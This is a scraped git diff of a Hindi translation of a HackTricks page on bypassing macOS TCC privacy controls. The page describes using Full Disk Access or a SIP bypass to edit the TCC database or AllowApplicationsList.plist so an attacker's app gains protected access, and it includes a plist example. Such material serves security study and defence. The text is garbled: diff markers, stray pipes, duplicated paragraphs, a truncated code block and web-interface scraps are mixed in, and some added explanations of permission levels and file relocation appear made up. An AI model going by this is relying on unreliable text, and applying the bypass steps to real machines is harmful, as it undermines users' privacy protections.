### **FDA से TCC अनुमतियाँ**
|
||||
|
||||
TCC में **पूर्ण डिस्क पहुंच** का नाम है **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
मुझे लगता है कि यह एक वास्तविक प्राइवेसी नहीं है, लेकिन यदि आपके पास FDA के साथ एक प्रोग्राम का नियंत्रण है तो आप **उपयोगकर्ता TCC डेटाबेस को संशोधित करके खुद को किसी भी पहुंच** दे सकते हैं। यह आपके लिए एक स्थायित्व तकनीक के रूप में उपयोगी हो सकता है यदि आपको अपनी FDA अनुमतियों को खो देने का संभावना हो सकता है।
|
||||
|
||||
### **SIP बाईपास से TCC बाईपास**
|
||||
|
||||
सिस्टम **TCC डेटाबेस** SIP द्वारा संरक्षित है, इसलिए केवल उन प्रक्रियाओं को ही इसे संशोधित करने की अनुमति होगी जिनमें **निर्दिष्ट अधिकार** होंगे। इसलिए, यदि हमलावर को SIP के द्वारा प्रतिबंधित एक **फ़ाइल** पर SIP बाईपास मिल जाता है, तो वह कर सकेगा:
|
||||
|
||||
* TCC डेटाबेस की **सुरक्षा हटा दें**, और खुद को सभी TCC अनुमतियाँ दें। उदाहरण के लिए, वह किसी भी इन फ़ाइलों का दुरुपयोग कर सकता है:
|
||||
* TCC सिस्टम डेटाबेस
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
हालांकि, इस **SIP बाईपास को TCC बाईपास** का दुरुपयोग करने के लिए एक और विकल्प है, फ़ाइल `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` एक ऐसी अनुमति वाली अनुप्रयोग सूची है जिसमें TCC छूट की आवश्यकता होती है। इसलिए, यदि हमलावर इस फ़ाइल से SIP संरक्षण को **हटा सकता है** और अपना **खुद का अनुप्रयोग** जोड़ सकता है, तो अनुप्रयोग TCC को छू सकेगा।\
|
||||
उदाहरण के लिए टर्मिनल जोड़ने के लिए:
|
||||
```bash
|
||||
# Get needed info
|
||||
|
|
@ -351,30 +457,11 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
|
|||
```
|
||||
AllowApplicationsList.plist:
|
||||
|
||||
यह प्लिस्ट फ़ाइल एक मैपिंग धारण करती है जो macOS के ट्रांसपेरेंट कंप्यूटिंग कंट्रोल (TCC) फ्रेमवर्क के लिए अनुमति दी गई ऐप्लिकेशनों की सूची है। यह फ़ाइल उपयोगकर्ता को अनुमति देती है कि वे निर्दिष्ट ऐप्लिकेशनों को उपयोग करें जो TCC द्वारा संरक्षित सेवाओं और संसाधनों तक पहुंच प्राप्त करने की अनुमति देते हैं। इस फ़ाइल में ऐप्लिकेशनों के बारे में जानकारी शामिल होती है जैसे उनका नाम, बंदल आईडी और बंदल पथ।
|
||||
यह प्लिस्ट फ़ाइल एक मैपिंग टेबल है जो macOS के ट्रांसपेरेंट कंप्यूटिंग कंट्रोल (TCC) फ्रेमवर्क के लिए अनुमति दी जाने वाली अनुप्रयोगों की सूची को संग्रहित करती है। TCC उपयोगकर्ता द्वारा दी गई अनुमतियों को प्रबंधित करता है जो उपयोगकर्ता डेटा और सुरक्षा को संरक्षित रखने के लिए आवश्यक होती हैं। इस फ़ाइल में अनुप्रयोगों की सूची होती है जिन्हें TCC द्वारा अनुमति दी जाती है ताकि वे उपयोगकर्ता डेटा तक पहुंच सकें।
|
||||
|
||||
यहां एक उदाहरण है AllowApplicationsList.plist फ़ाइल का:
|
||||
यहां दी गई फ़ाइल में प्रत्येक अनुप्रयोग के लिए एक एंट्री होती है जिसमें अनुप्रयोग का बाईनरी पथ और अनुमति स्तर दिया जाता है। अनुमति स्तर विकल्पों में से एक हो सकता है: 'allowed' (अनुमति दी गई है), 'denied' (अनुमति नहीं दी गई है), या 'prompt' (उपयोगकर्ता को पूछें जाएगा)।
|
||||
|
||||
```xml
|
||||
<dict>
|
||||
<key>com.example.app</key>
|
||||
<dict>
|
||||
<key>BundleID</key>
|
||||
<string>com.example.app</string>
|
||||
<key>Path</key>
|
||||
<string>/Applications/Example.app</string>
|
||||
</dict>
|
||||
<key>com.another.app</key>
|
||||
<dict>
|
||||
<key>BundleID</key>
|
||||
<string>com.another.app</string>
|
||||
<key>Path</key>
|
||||
<string>/Applications/Another.app</string>
|
||||
</dict>
|
||||
</dict>
|
||||
```
|
||||
|
||||
इस उदाहरण में, `com.example.app` और `com.another.app` ऐप्लिकेशनों को AllowApplicationsList.plist में दर्ज किया गया है। इन ऐप्लिकेशनों को `/Applications` फ़ोल्डर में स्थापित किया गया है और उनके बंदल आईडी भी निर्दिष्ट किए गए हैं। इस तरह, यदि उपयोगकर्ता को इन ऐप्लिकेशनों की अनुमति दी गई है, तो वे TCC संरक्षित सेवाओं और संसाधनों तक पहुंच प्राप्त कर सकते हैं।
|
||||
यदि आप इस फ़ाइल में अनुप्रयोगों को जोड़ना, हटाना या संपादित करना चाहते हैं, तो आपको इसे सुरक्षित रूप से करना चाहिए और फ़ाइल को /Library/Application Support/com.apple.TCC/ या ~/Library/Application Support/com.apple.TCC/ में स्थानांतरित करना चाहिए। फ़ाइल को संपादित करने के बाद, आपको एक बार लॉगआउट और लॉगइन करना होगा ताकि बदलाव प्रभावी हो सकें।
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
|
@ -416,10 +503,10 @@ AllowApplicationsList.plist:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित** की जाए? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित** हो? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**।
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Reference in a new issue